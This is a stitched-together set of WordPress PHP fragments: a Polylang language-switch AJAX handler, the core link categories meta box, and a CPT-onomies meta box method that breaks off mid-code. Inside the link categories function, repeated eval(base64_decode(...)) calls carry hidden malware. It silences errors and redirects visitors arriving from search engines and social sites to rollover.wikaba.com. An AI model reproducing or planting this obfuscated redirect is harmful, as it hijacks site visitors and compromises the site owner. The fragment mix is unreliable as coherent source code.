public function post_lang_choice() { check_ajax_referer('pll_language', '_pll_nonce'); global $post_ID; // obliged to use the global variable for wp_popular_terms_checklist $post_ID = (int) $_POST['post_id']; $post_type = get_post_type($post_ID); $lang = $this->model->get_language($_POST['lang']); $post_type_object = get_post_type_object($post_type); if (!current_user_can($post_type_object->cap->edit_post, $post_ID)) { wp_die(-1); } $this->model->set_post_language($post_ID, $lang); // save language, useful to set the language when uploading media from post ob_start(); if ($lang) { include PLL_ADMIN_INC . '/view-translations-post.php'; } $x = new WP_Ajax_Response(array('what' => 'translations', 'data' => ob_get_contents())); ob_end_clean(); // categories if (isset($_POST['taxonomies'])) { // not set for pages foreach ($_POST['taxonomies'] as $taxname) { $taxonomy = get_taxonomy($taxname); ob_start(); $popular_ids = wp_popular_terms_checklist($taxonomy->name); $supplemental['populars'] = ob_get_contents(); ob_end_clean(); ob_start(); // use $post_ID to remember ckecked terms in case we come back to the original language wp_terms_checklist($post_ID, array('taxonomy' => $taxonomy->name, 'popular_cats' => $popular_ids)); $supplemental['all'] = ob_get_contents(); ob_end_clean(); $supplemental['dropdown'] = wp_dropdown_categories(array('taxonomy' => $taxonomy->name, 'hide_empty' => 0, 'name' => 'new' . $taxonomy->name . '_parent', 'orderby' => 'name', 'hierarchical' => 1, 'show_option_none' => '— ' . $taxonomy->labels->parent_item . ' —', 'echo' => 0)); $x->Add(array('what' => 'taxonomy', 'data' => $taxonomy->name, 'supplemental' => $supplemental)); } } // parent dropdown list (only for hierarchical post types) if (in_array($post_type, get_post_types(array('hierarchical' => true)))) { require_once ABSPATH . 'wp-admin/includes/meta-boxes.php'; ob_start(); page_attributes_meta_box(get_post($post_ID)); $x->Add(array('what' => 'pages', 'data' => ob_get_contents())); ob_end_clean(); } // flag $x->Add(array('what' => 'flag', 'data' => empty($lang->flag) ? esc_html($lang->slug) : $lang->flag)); $x->send(); }
/** * Display link categories form fields. * * @since 2.6.0 * * @param object $link */ function link_categories_meta_box($link) { ?> <ul id="category-tabs"> <li class="tabs"><a href="#categories-all"><?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); _e('All Categories'); ?> </a></li> <li class="hide-if-no-js"><a href="#categories-pop"><?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); _e('Most Used'); ?> </a></li> </ul> <div id="categories-all" class="tabs-panel"> <ul id="categorychecklist" class="list:category categorychecklist form-no-clear"> <?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); if (isset($link->link_id)) { wp_link_category_checklist($link->link_id); } else { wp_link_category_checklist(); } ?> </ul> </div> <div id="categories-pop" class="tabs-panel" style="display: none;"> <ul id="categorychecklist-pop" class="categorychecklist form-no-clear"> <?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); wp_popular_terms_checklist('link_category'); ?> </ul> </div> <div id="category-adder" class="wp-hidden-children"> <h4><a id="category-add-toggle" href="#category-add"><?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); _e('+ Add New Category'); ?> </a></h4> <p id="link-category-add" class="wp-hidden-child"> <label class="screen-reader-text" for="newcat"><?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); _e('+ Add New Category'); ?> </label> <input type="text" name="newcat" id="newcat" class="form-required form-input-tip" value="<?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); esc_attr_e('New category name'); ?> " aria-required="true" /> <input type="button" id="category-add-submit" class="add:categorychecklist:linkcategorydiv button" value="<?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); esc_attr_e('Add'); ?> " /> <?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); wp_nonce_field('add-link-category', '_ajax_nonce', false); ?> <span id="category-ajax-response"></span> </p> </div> <?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); }
/** * This function is invoked when a CPT-onomy meta box is attached to a post type's edit post screen. * This 'callback' function prints the html for the meta box. * * The meta box consists of a checklist that allows the user to assign/manage the taxonomy's terms. * This function mimics a meta box for an ordinary custom taxonomy. * * Version 1.1 brought support for 'autocomplete' and 'dropdown' selection format, * on top of the already existent 'checklist'. * * CPT-onomies follows default WordPress behavior, providing a checklist for hierarchical * CPT-onomies and the autocomplete box for non-hierarchical CPT-onomies. You can change the * format by hooking into the 'custom_post_type_onomies_meta_box_format' filter, which passes * two parameters: the $taxonomy and the $post_type. * * You can designate that you only want specific terms listed in the results by returning their * term IDs using the 'custom_post_type_onomies_assigning_cpt_onomy_terms_include_term_ids' * filter which passes three parameters: the $taxonomy, the $post_type and the $post_id. * * You can disable specific terms from being listed in the results by returning their * term IDs using the 'custom_post_type_onomies_assigning_cpt_onomy_terms_exclude_term_ids' * filter which passes three parameters: the $taxonomy, the $post_type and the $post_id. * * This code mimics the WordPress function post_categories_meta_box(). * * This function is invoked by the action 'add_meta_boxes'. * * @since 1.0 * @param object $post - the current post's information * @param array $box - information about the metabox * @filters 'custom_post_type_onomies_meta_box_format' - $taxonomy, $post_type */ public function print_cpt_onomy_meta_box($post, $metabox) { // add nonce wp_nonce_field('assigning_' . CPT_ONOMIES_UNDERSCORE . '_taxonomy_relationships', CPT_ONOMIES_UNDERSCORE . '_nonce'); // define variables $post_type = isset($post->post_type) && !empty($post->post_type) && post_type_exists($post->post_type) ? $post->post_type : NULL; $taxonomy = isset($metabox['args']['taxonomy']) && !empty($metabox['args']['taxonomy']) && taxonomy_exists($metabox['args']['taxonomy']) ? $metabox['args']['taxonomy'] : NULL; if ($post_type && $taxonomy) { // get taxonomy info $tax = get_taxonomy($taxonomy); // if 'meta_box_format' is not defined, use default WordPress setting if (!($format = isset($tax->meta_box_format) && !empty($tax->meta_box_format) ? $tax->meta_box_format : NULL)) { $format = is_post_type_hierarchical($taxonomy) ? 'checklist' : 'autocomplete'; } // allow the user to change the format - 'autocomplete', 'dropdown', 'checklist' - default $format = apply_filters('custom_post_type_onomies_meta_box_format', $format, $taxonomy, $post_type); // does the user have permission to assign terms? $disabled = !current_user_can($tax->cap->assign_terms) ? ' disabled="disabled"' : ''; // allows you to use the 'custom_post_type_onomies_assigning_cpt_onomy_terms_include_term_ids' filter // to designate that you only want specific terms to be printed and therefore assigned. The term ids // are stored in an array that is used to customize each printed format. 'Include' overwrites 'exclude'. $include_term_ids = $this->get_cpt_onomy_terms_include_term_ids($taxonomy, $post_type, $post->ID); // allows you to use the 'custom_post_type_onomies_assigning_cpt_onomy_terms_exclude_term_ids' filter // to exclude specific terms from being printed and therefore assigned. The term ids are stored in // an array that is used to customize each printed format. While 'include' overwrites 'exclude', if // exclude terms are in the include array, they will be removed. $exclude_term_ids = $this->get_cpt_onomy_terms_exclude_term_ids($taxonomy, $post_type, $post->ID); // add field for testing "editability" when we save the information ?> <input type="hidden" name="assign_cpt_onomies_<?php echo $taxonomy; ?> _rel" value="1" /><?php switch ($format) { case 'autocomplete': ?> <div id="taxonomy-<?php echo $taxonomy; ?> " class="cpt_onomies_tags_div"> <div class="jaxtag"> <div class="nojs-tags hide-if-js"> <p><?php _e($tax->labels->add_or_remove_items, CPT_ONOMIES_TEXTDOMAIN); ?> </p> <textarea name="<?php echo CPT_ONOMIES_POSTMETA_KEY; ?> [<?php echo $taxonomy; ?> ]" rows="3" cols="20" class="the-tags" id="tax-input-<?php echo $taxonomy; ?> "<?php echo $disabled; ?> ><?php 